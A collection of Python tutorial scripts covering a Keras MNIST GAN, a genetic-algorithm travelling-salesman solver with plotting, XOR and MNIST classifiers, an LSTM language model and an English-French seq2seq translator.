self.DM.add(self.discriminator()) + self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) + return self.DM + + def adversarial_model(self): + if self.AM: + return self.AM + # optimizer = RMSprop(lr=0.001, decay=3e-8) + optimizer = Adam(0.0002, 0.5) + self.AM = Sequential() + self.AM.add(self.generator()) + self.AM.add(self.discriminator()) + self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) + return self.AM + + +class MNIST: + def __init__(self): + self.img_x = 28 + self.img_y = 28 + self.img_z = 1 + + self.steps = 0 + + self.load_data() + self.create_models() + + # used image indices + self._used_indices = set() + + def load_data(self): + (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data() + # reshape to (num_samples, 28, 28 , 1) + self.X_train = np.expand_dims(self.X_train, axis=-1) + self.X_test = np.expand_dims(self.X_test, axis=-1) + + def create_models(self): + self.GAN = GAN() + self.discriminator = self.GAN.discriminator_model() + self.adversarial = self.GAN.adversarial_model() + self.generator = self.GAN.generator() + discriminators = glob.glob("discriminator_*.h5") + generators = glob.glob("generator_*.h5") + adversarial = glob.glob("adversarial_*.h5") + if len(discriminators) != 0: + print("[+] Found a discriminator ! Loading weights ...") + self.discriminator.load_weights(discriminators[0]) + if len(generators) != 0: + print("[+] Found a generator ! Loading weights ...") + self.generator.load_weights(generators[0]) + if len(adversarial) != 0: + print("[+] Found an adversarial model ! Loading weights ...") + self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", "")) + self.adversarial.load_weights(adversarial[0]) + + + def get_unique_random(self, batch_size=256): + indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) + # in_used_indices = np.any([i in indices for i in self._used_indices]) + # while in_used_indices: + # indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) + # in_used_indices = np.any([i in indices for i in self._used_indices]) + # self._used_indices |= set(indices) + # if len(self._used_indices) > self.X_train.shape[0] // 2: + # if used indices is more than half of training samples, clear it + # that is to enforce it to train at least more than half of the dataset uniquely + # self._used_indices.clear() + return indices + + + + def train(self, train_steps=2000, batch_size=256, save_interval=0): + noise_input = None + + steps = tqdm.tqdm(list(range(self.steps, train_steps))) + fake = np.zeros((batch_size, 1)) + real = np.ones((batch_size, 1)) + for i in steps: + real_images = self.X_train[self.get_unique_random(batch_size)] + # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) + noise = np.random.normal(size=(batch_size, 100)) + fake_images = self.generator.predict(noise) + # get 256 real images and 256 fake images + d_loss_real = self.discriminator.train_on_batch(real_images, real) + d_loss_fake = self.discriminator.train_on_batch(fake_images, fake) + d_loss = 0.5 * np.add(d_loss_real, d_loss_fake) + # X = np.concatenate((real_images, fake_images)) + # y = np.zeros((2*batch_size, 1)) + # 0 for fake and 1 for real + # y[:batch_size, :] = 1 + + # shuffle + # shuffle_in_unison(X, y) + + # d_loss = self.discriminator.train_on_batch(X, y) + + # y = np.ones((batch_size, 1)) + # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) + # fool the adversarial, telling him everything is real + a_loss = self.adversarial.train_on_batch(noise, real) + log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]" + steps.set_description(log_msg) + + if save_interval > 0: + noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100)) + if (i + 1) % save_interval == 0: + self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1)) + self.discriminator.save(f"discriminator_{i+1}.h5") + self.generator.save(f"generator_{i+1}.h5") + self.adversarial.save(f"adversarial_{i+1}.h5") + + + def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0): + filename = "mnist_fake.png" + if fake: + if noise is None: + noise = np.random.uniform(-1.0, 1.0, size=(samples, 100)) + else: + filename = f"mnist_{step}.png" + images = self.generator.predict(noise) + else: + i = np.random.randint(0, self.X_train.shape[0], samples) + images = self.X_train[i] + if noise is None: + filename = "mnist_real.png" + + plt.figure(figsize=(10, 10)) + for i in range(images.shape[0]): + plt.subplot(4, 4, i+1) + image = images[i] + image = np.reshape(image, (self.img_x, self.img_y)) + plt.imshow(image, cmap="gray") + plt.axis("off") + plt.tight_layout() + if save2file: + plt.savefig(filename) + plt.close("all") + else: + plt.show() + + +# https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison +def shuffle_in_unison(a, b): + rng_state = np.random.get_state() + np.random.shuffle(a) + np.random.set_state(rng_state) + np.random.shuffle(b) + + +if __name__ == "__main__": + mnist_gan = MNIST() + mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500) + mnist_gan.plot_images(fake=True, save2file=True) + mnist_gan.plot_images(fake=False, save2file=True) + + + + +import random +import numpy as np +import pandas as pd +import operator +import matplotlib.pyplot as plt +from threading import Event, Thread + + +class Individual: + def __init__(self, object): + self.object = object + + def update(self, new): + self.object = new + + def __repr__(self): + return self.object + + def __str__(self): + return self.object + + +class GeneticAlgorithm: + """General purpose genetic algorithm implementation""" + + def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None): + self.individual = individual + self.popsize = popsize + self.elite_size = elite_size + self.mutation_rate = mutation_rate + self.generations = generations + if not callable(fitness_func): + raise TypeError("fitness_func must be a callable object.") + self.get_fitness = fitness_func + self.plot = plot + self.prn = prn + self.population = self._init_pop() + self.animate = animation_func + + def calc(self): + """Try to find the best individual. + This function returns (initial_individual, final_individual, """ + sorted_pop = self.sortpop() + initial_route = self.population[sorted_pop[0][0]] + distance = 1 / sorted_pop[0][1] + progress = [ distance ] + if callable(self.animate): + self.plot = True + individual = Individual(initial_route) + stop_animation = Event() + self.animate(individual, progress, stop_animation, plot_conclusion=initial_route) + else: + self.plot = False + if self.prn: + print(f"Initial distance: {distance}") + try: + if self.plot: + for i in range(self.generations): + population = self.next_gen() + sorted_pop = self.sortpop() + distance = 1 / sorted_pop[0][1] + progress.append(distance) + if self.prn: + print(f"[Generation:{i}] Current distance: {distance}") + route = population[sorted_pop[0][0]] + individual.update(route) + else: + for i in range(self.generations): + population = self.next_gen() + distance = 1 / self.sortpop()[0][1] + if self.prn: + print(f"[Generation:{i}] Current distance: {distance}") + + + except KeyboardInterrupt: + pass + try: + stop_animation.set() + except NameError: + pass + final_route_index = self.sortpop()[0][0] + final_route = population[final_route_index] + if self.prn: + print("Final route:", final_route) + + return initial_route, final_route, distance + + def create_population(self): + return random.sample(self.individual, len(self.individual)) + + def _init_pop(self): + return [ self.create_population() for i in range(self.popsize) ] + + def sortpop(self): + """This function calculates the fitness of each individual in population + And returns a population sorted by its fitness in descending order""" + result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ] + return sorted(result, key=operator.itemgetter(1), reverse=True) + + def selection(self): + sorted_pop = self.sortpop() + df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) + df['cum_sum'] = df['Fitness'].cumsum() + df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() + result = [ sorted_pop[i][0] for i in range(self.elite_size) ] + + for i in range(len(sorted_pop) - self.elite_size): + pick = random.random() * 100 + for i in range(len(sorted_pop)): + if pick <= df['cum_perc'][i]: + result.append(sorted_pop[i][0]) + break + return [ self.population[index] for index in result ] + + def breed(self, parent1, parent2): + child1, child2 = [], [] + + gene_A = random.randint(0, len(parent1)) + gene_B = random.randint(0, len(parent2)) + + start_gene = min(gene_A, gene_B) + end_gene = max(gene_A, gene_B) + + for i in range(start_gene, end_gene): + child1.append(parent1[i]) + + child2 = [ item for item in parent2 if item not in child1 ] + return child1 + child2 + + def breed_population(self, selection): + pool = random.sample(selection, len(selection)) + children = [selection[i] for i in range(self.elite_size)] + children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)]) + return children + + def mutate(self, individual): + individual_length = len(individual) + for swapped in range(individual_length): + if(random.random() < self.mutation_rate): + swap_with = random.randint(0, individual_length-1) + individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped] + return individual + + def mutate_population(self, children): + return [ self.mutate(individual) for individual in children ] + + def next_gen(self): + selection = self.selection() + children = self.breed_population(selection) + self.population = self.mutate_population(children) + return self.population + + + + +from genetic import plt +from genetic import Individual +from threading import Thread + + +def plot_routes(initial_route, final_route): + _, ax = plt.subplots(nrows=1, ncols=2) + + for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): + col.title.set_text(route[0]) + route = route[1] + for i, city in enumerate(route): + if i == 0: + col.text(city.x-5, city.y+5, "Start") + col.scatter(city.x, city.y, s=70, c='g') + else: + col.scatter(city.x, city.y, s=70, c='b') + + col.plot([ city.x for city in route ], [city.y for city in route], c='r') + col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') + + plt.show() + + +def animate_progress(route, progress, stop_animation, plot_conclusion=None): + + def animate(): + nonlocal route + _, ax1 = plt.subplots(nrows=1, ncols=2) + while True: + if isinstance(route, Individual): + target = route.object + ax1[0].clear() + ax1[1].clear() + + # current routes and cities + ax1[0].title.set_text("Current routes") + + for i, city in enumerate(target): + if i == 0: + ax1[0].text(city.x-5, city.y+5, "Start") + ax1[0].scatter(city.x, city.y, s=70, c='g') + else: + ax1[0].scatter(city.x, city.y, s=70, c='b') + + ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r') + ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r') + + # current distance graph + ax1[1].title.set_text("Current distance") + ax1[1].plot(progress) + ax1[1].set_ylabel("Distance") + ax1[1].set_xlabel("Generation") + + plt.pause(0.05) + + if stop_animation.is_set(): + break + plt.show() + if plot_conclusion: + initial_route = plot_conclusion + plot_routes(initial_route, target) + + Thread(target=animate).start() + + + + +import matplotlib.pyplot as plt +import random +import numpy as np +import operator +from plots import animate_progress, plot_routes + + +class City: + def __init__(self, x, y): + self.x = x + self.y = y + + def distance(self, city): + """Returns distance between self city and city""" + x = abs(self.x - city.x) + y = abs(self.y - city.y) + return np.sqrt(x ** 2 + y ** 2) + + def __sub__(self, city): + return self.distance(city) + + def __repr__(self): + return f"({self.x}, {self.y})" + + def __str__(self): + return self.__repr__() + + +def get_fitness(route): + + def get_distance(): + distance = 0 + for i in range(len(route)): + from_city = route[i] + to_city = route[i+1] if i+1 < len(route) else route[0] + distance += (from_city - to_city) + return distance + + return 1 / get_distance() + + +def load_cities(): + return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] + + +def generate_cities(size): + cities = [] + for i in range(size): + x = random.randint(0, 200) + y = random.randint(0, 200) + + if 40 < x < 160: + if 0.5 <= random.random(): + y = random.randint(0, 40) + else: + y = random.randint(160, 200) + elif 40 < y < 160: + if 0.5 <= random.random(): + x = random.randint(0, 40) + else: + x = random.randint(160, 200) + + cities.append(City(x, y)) + return cities + + +def benchmark(cities): + popsizes = [60, 80, 100, 120, 140] + elite_sizes = [5, 10, 20, 30, 40] + mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001] + generations = 1200 + + iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates) + iteration = 0 + + gens = {} + + for popsize in popsizes: + for elite_size in elite_sizes: + for mutation_rate in mutation_rates: + iteration += 1 + gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False) + initial_route, final_route, generation = gen.calc(ret=("generation", 755)) + if generation == generations: + print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution") + else: + print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough") + if generation != generations: + gens[iteration] = generation + # reversed_gen = {v:k for k, v in gens.items()} + output = sorted(gens.items(), key=operator.itemgetter(1)) + for i, gens in output: + print(f"Iteration: {i} generations: {gens}") + + +# [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough +# [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough +# [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough +# [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough +# [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough + +# The notes: +# 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance. +# 1.2 So we need to put it as small as 1% or lower +# 2. Elite size is likely to be about 30% or less of total population +# 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance. +# 4. + + +if __name__ == "__main__": + from genetic import GeneticAlgorithm + cities = load_cities() + # cities = generate_cities(50) + # parameters + popsize = 120 + elite_size = 30 + mutation_rate = 0.1 + + generations = 400 + + gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress) + initial_route, final_route, distance = gen.calc() + + + + +import tensorflow as tf +import matplotlib.pyplot as plt +from sklearn.model_selection import train_test_split +from sklearn.utils import shuffle + +import re +import numpy as np +import os +import time +import json +from glob import glob +from PIL import Image +import pickle + + + + +import numpy as np +from keras.utils import np_utils +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, Activation + + +np.random.seed(19) + +X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32') +y = np.array([[0],[1],[1],[0]]).astype('float32') + +y = np_utils.to_categorical(y) + +xor = Sequential() + +# add required layers +xor.add(Dense(8, input_dim=2)) + +# hyperbolic tangent function to the first hidden layer ( 8 nodes ) +xor.add(Activation("tanh")) + +xor.add(Dense(8)) +xor.add(Activation("relu")) +# output layer +xor.add(Dense(2)) + +# sigmoid function to the output layer ( final ) +xor.add(Activation("sigmoid")) + +# Cross-entropy error function +xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +# show the summary of the model +xor.summary() + +xor.fit(X, y, epochs=400, verbose=1) + +# accuray +score = xor.evaluate(X, y) +print(f"Accuracy: {score[-1]}") + + +# Checking the predictions +print("\nPredictions:") +print(xor.predict(X)) + + + + +import torch +import torchvision +from torchvision import transforms, datasets +import torch.nn as nn +import torch.nn.functional as F +import torch.optim as optim +import matplotlib.pyplot as plt + +epochs = 3 +batch_size = 64 + +# building the network now +class Net(nn.Module): + def __init__(self): + super().__init__() + # takes 28x28 images + self.fc1 = nn.Linear(28*28, 64) + self.fc2 = nn.Linear(64, 64) + self.fc3 = nn.Linear(64, 64) + self.fc4 = nn.Linear(64, 10) + + def forward(self, x): + x = F.relu(self.fc1(x)) + x = F.relu(self.fc2(x)) + x = F.relu(self.fc3(x)) + x = self.fc4(x) + return F.log_softmax(x, dim=1) + + + +if __name__ == "__main__": + training_set = datasets.MNIST("", train=True, download=True, + transform=transforms.Compose([ + transforms.ToTensor() + ])) + + test_set = datasets.MNIST("", train=False, download=True, + transform=transforms.Compose([ + transforms.ToTensor() + ])) + + # load the dataset + train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True) + test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False) + # construct the model + net = Net() + # specify the loss and optimizer + loss = nn.CrossEntropyLoss() + optimizer = optim.Adam(net.parameters(), lr=0.001) + + # training the model + for epoch in range(epochs): + for data in train: + # data is the batch of data now + # X are the features, y are labels + X, y = data + net.zero_grad() # set gradients to 0 before loss calculation + output = net(X.view(-1, 28*28)) # feed data to the network + loss = F.nll_loss(output, y) # calculating the negative log likelihood + loss.backward() # back propagation + optimizer.step() # attempt to optimize weights to account for loss/gradients + print(loss) + + correct = 0 + total = 0 + with torch.no_grad(): + for data in test: + X, y = data + output = net(X.view(-1, 28*28)) + for index, i in enumerate(output): + if torch.argmax(i) == y[index]: + correct += 1 + total += 1 + + print("Accuracy:", round(correct / total, 3)) + # testing + print(torch.argmax(net(X.view(-1, 28*28))[0])) + plt.imshow(X[0].view(28, 28)) + plt.show() + + + + +from keras.models import Sequential +from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed +from keras.layers import Bidirectional + +def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True): + model = Sequential() + for i in range(num_layers): + if i == 0: + # first time, specify input_shape + if bidirectional: + model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) + else: + model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + else: + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=True))) + else: + model.add(cell(units, return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + + model.add(TimeDistributed(Dense(input_dim, activation="softmax"))) + + return model + + + + +from utils import UNK, text_to_sequence, sequence_to_text +from keras.preprocessing.sequence import pad_sequences +from keras.layers import LSTM +from models import rnn_model +from scipy.ndimage.interpolation import shift +import numpy as np + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=6, + inter_op_parallelism_threads=6, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +INPUT_DIM = 50 + +test_text = "" +test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by""" + +encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0) +encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1])) +model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) +model.load_weights("results/lm_rnn_v2_6400548.3.h5") + +# for i in range(10): +# predicted_word_int = model.predict_classes(encoded)[0] +# print(predicted_word_int, end=',') +# word = sequence_to_text(predicted_word_int) +# encoded = shift(encoded, -1, cval=predicted_word_int) +# print(word, end=' ') +print("Fed:") +print(encoded) +print("Result: predict") +print(model.predict(encoded)[0]) +print("Result: predict_proba") +print(model.predict_proba(encoded)[0]) +print("Result: predict_classes") +print(model.predict_classes(encoded)[0]) +print(sequence_to_text(model.predict_classes(encoded)[0])) +print() + + + + +from models import rnn_model +from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab +from keras.layers import LSTM +from keras.callbacks import ModelCheckpoint + +import numpy as np +import os + +INPUT_DIM = 50 +# OUTPUT_DIM = len(vocab) +BATCH_SIZE = 128 + +# get data +text = get_text("data") +encoded = np.array(text_to_sequence(text)) +print(len(encoded)) + +# X, y = get_data(encoded, INPUT_DIM, 1) + +# del text, encoded + +model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) + +model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) +model.summary() +if not os.path.isdir("results"): + os.mkdir("results") + +checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1) + +steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE + +model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM), + epochs=100, + callbacks=[checkpointer], + verbose=1, + steps_per_epoch=steps_per_epoch) +model.save("results/lm_rnn_v2_final.h5") + + + + +import numpy as np +import os +import tqdm +import inflect +from string import punctuation, whitespace +from word_forms.word_forms import get_word_forms + +p = inflect.engine() + +UNK = "" +vocab = set() +add = vocab.add +# add unk +add(UNK) + +with open("data/vocab1.txt") as f: + for line in f: + add(line.strip()) + +vocab = sorted(vocab) +word2int = {w: i for i, w in enumerate(vocab)} +int2word = {i: w for i, w in enumerate(vocab)} + + +def update_vocab(word): + global vocab + global word2int + global int2word + + vocab.add(word) + next_int = max(int2word) + 1 + word2int[word] = next_int + int2word[next_int] = word + + +def save_vocab(_vocab): + with open("vocab1.txt", "w") as f: + for w in sorted(_vocab): + print(w, file=f) + + +def text_to_sequence(text): + return [ word2int[word] for word in text.split() ] + + +def sequence_to_text(seq): + return ' '.join([ int2word[i] for i in seq ]) + + +def get_batches(arr, batch_size, n_steps): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + while True: + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) + + +def get_data(arr, n_seq, look_forward): + + n_samples = len(arr) // n_seq + X = np.zeros((n_seq, n_samples)) + Y = np.zeros((n_seq, n_samples)) + + for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): + x = arr[i:i+n_seq] + y = arr[i+look_forward:i+n_seq+look_forward] + if len(x) != n_seq or len(y) != n_seq: + break + X[:, index] = x + Y[:, index] = y + return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) + + +def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]): + global vocab + global word2int + global int2word + + text = "" + file = files[0] + for file in tqdm.tqdm(files, "Loading data"): + file = os.path.join(path, file) + with open(file, encoding="utf8") as f: + text += f.read().lower() + + punc = set(punctuation) + + text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) + for ws in whitespace: + text = text.replace(ws, " ") + text = text.split() + + co = 0 + vocab_set = set(vocab) + for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # convert digits to words + # (i.e '7' to 'seven') + if text[i].isdigit(): + text[i] = p.number_to_words(text[i]) + # compare_nouns + # compare_adjs + # compare_verbs + if text[i] not in vocab_set: + text[i] = UNK + co += 1 + # update vocab, intersection of words + print("vocab length:", len(vocab)) + vocab = vocab_set & set(text) + print("vocab length after update:", len(vocab)) + save_vocab(vocab) + print("Number of unks:", co) + return ' '.join(text) + + + + +from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle + + +def tokenize(x, tokenizer=None): + """Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" + if tokenizer: + t = tokenizer + else: + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens): + """Generate target given source sequence, this function can be used + after the model is trained to generate a target sequence given a source sequence.""" + # encode + state = enc.predict(source) + # start of sequence input + target_seq = np.zeros((1, 1, n_steps)) + # collect predictions + output = [] + for t in range(n_steps): + # predict next char + yhat, h, c = dec.predict([target_seq] + state) + # store predictions + y = yhat[0, 0, :] + + sampled_token_index = np.argmax(y) + output.append(sampled_token_index) + # update state + state = [h, c] + # update target sequence + target_seq = np.zeros((1, 1, n_steps)) + target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps) + + return np.array(output) + + +def logits_to_text(logits, index_to_words): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + return ' '.join([index_to_words[prediction] for prediction in logits]) + +# load the data +X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") + +X_tk = pickle.load(open("X_tk.pickle", "rb")) +y_tk = pickle.load(open("y_tk.pickle", "rb")) + +model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) + +model.load_weights("results/eng_fra_v1_17568.086.h5") + +while True: + text = input("> ") + tokenized = np.array(tokenize([text], tokenizer=X_tk)[0]) + print(tokenized.shape) + X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post") + X = X.reshape((1, 1, X.shape[-1])) + print(X.shape) + # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1) + print(X.shape) + sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length) + + result = logits_to_text(sequence, y_tk.index_word) + print(result) + + + + +from tensorflow.keras.models import Model +from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector +from tensorflow.keras.layers import TimeDistributed +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.utils import to_categorical, plot_model +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard +import numpy as np +import matplotlib.pyplot as plt +import os +import pickle + +# hyper parameters +BATCH_SIZE = 32 +EPOCHS = 10 +LSTM_UNITS = 128 + +def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): + model = Sequential() + model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:]) + model.add(RepeatVector(output_sequence_length)) + model.add(LSTM(LSTM_UNITS), return_sequences=True) + model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) + model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) + return model + + +def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim): + # define an input sequence + encoder_inputs = Input(shape=(None, num_encoder_tokens)) + encoder = LSTM(latent_dim, return_state=True) + # define the encoder output + encoder_outputs, state_h, state_c = encoder(encoder_inputs) + encoder_states = [state_h, state_c] + # encoder inference model + encoder_model = Model(encoder_inputs, encoder_states) + + # set up the decoder now + decoder_inputs = Input(shape=(None, num_decoder_tokens)) + decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) + decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states) + decoder_dense = Dense(num_decoder_tokens, activation="softmax") + decoder_outputs = decoder_dense(decoder_outputs) + # decoder inference model + decoder_state_input_h = Input(shape=(latent_dim,)) + decoder_state_input_c = Input(shape=(latent_dim,)) + decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c] + + model = Model([encoder_inputs, decoder_inputs], decoder_outputs) + + decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs) + decoder_states = [state_h, state_c] + decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states) + + return model, encoder_model, decoder_model + + +def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE): + # get total number of words in X + num_encoder_tokens = len(X_tk.word_index) + 1 + # get max number of words in all sentences in y + num_decoder_tokens = len(y_tk.word_index) + 1 + + while True: + for j in range(0, len(X), batch_size): + encoder_input_data = X[j: j+batch_size] + decoder_input_data = y[j: j+batch_size] + # redefine batch size + # it may differ (in last batch of dataset) + batch_size = encoder_input_data.shape[0] + + # one-hot everything + # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8) + # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8) + # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8) + encoder_data = np.expand_dims(encoder_input_data, axis=1) + decoder_data = np.expand_dims(decoder_input_data, axis=1) + + # for i, sequence in enumerate(decoder_input_data): + # for t, word_index in enumerate(sequence): + # # skip the first + # if t > 0: + # decoder_target_data[i, t-1, word_index] = 1 + # decoder_data[i, t, word_index] = 1 + + # for i, sequence in enumerate(encoder_input_data): + # for t, word_index in enumerate(sequence): + # encoder_data[i, t, word_index] = 1 + + yield ([encoder_data, decoder_data], decoder_input_data) + + +def get_data(file): + X = [] + y = [] + # loading the data + for line in open(file, encoding="utf-8"): + if "\t" not in line: + continue + + # split by tab + line = line.strip().split("\t") + input = line[0] + output = line[1] + output = f"{output} " + output_sentence_input = f" {output}" + X.append(input) + y.append(output) + + # tokenize data + X_tk = Tokenizer() + X_tk.fit_on_texts(X) + X = X_tk.texts_to_sequences(X) + + y_tk = Tokenizer() + y_tk.fit_on_texts(y) + y = y_tk.texts_to_sequences(y) + + # define the max sequence length for X + source_sequence_length = max(len(x) for x in X) + # define the max sequence length for y + target_sequence_length = max(len(y_) for y_ in y) + # padding sequences + X = pad_sequences(X, maxlen=source_sequence_length, padding="post") + y = pad_sequences(y, maxlen=target_sequence_length, padding="post") + + return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length + + +def shuffle_data(X, y): + """ + Shuffles X & y and preserving their pair order + """ + state = np.random.get_state() + np.random.shuffle(X) + np.random.set_state(state) + np.random.shuffle(y) + return X, y + + +def split_data(X, y, train_split_rate=0.2): + # shuffle first + X, y = shuffle_data(X, y) + training_samples = round(len(X) * train_split_rate) + return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:] + + + +if __name__ == "__main__": + # load the data + X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") + # save tokenizers + pickle.dump(X_tk, open("X_tk.pickle", "wb")) + pickle.dump(y_tk, open("y_tk.pickle", "wb")) + # shuffle & split data + X_train, y_train, X_test, y_test = split_data(X, y) + # construct the models + model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) + plot_model(model, to_file="model.png") + plot_model(enc, to_file="enc.png") + plot_model(dec, to_file="dec.png") + model.summary() + + 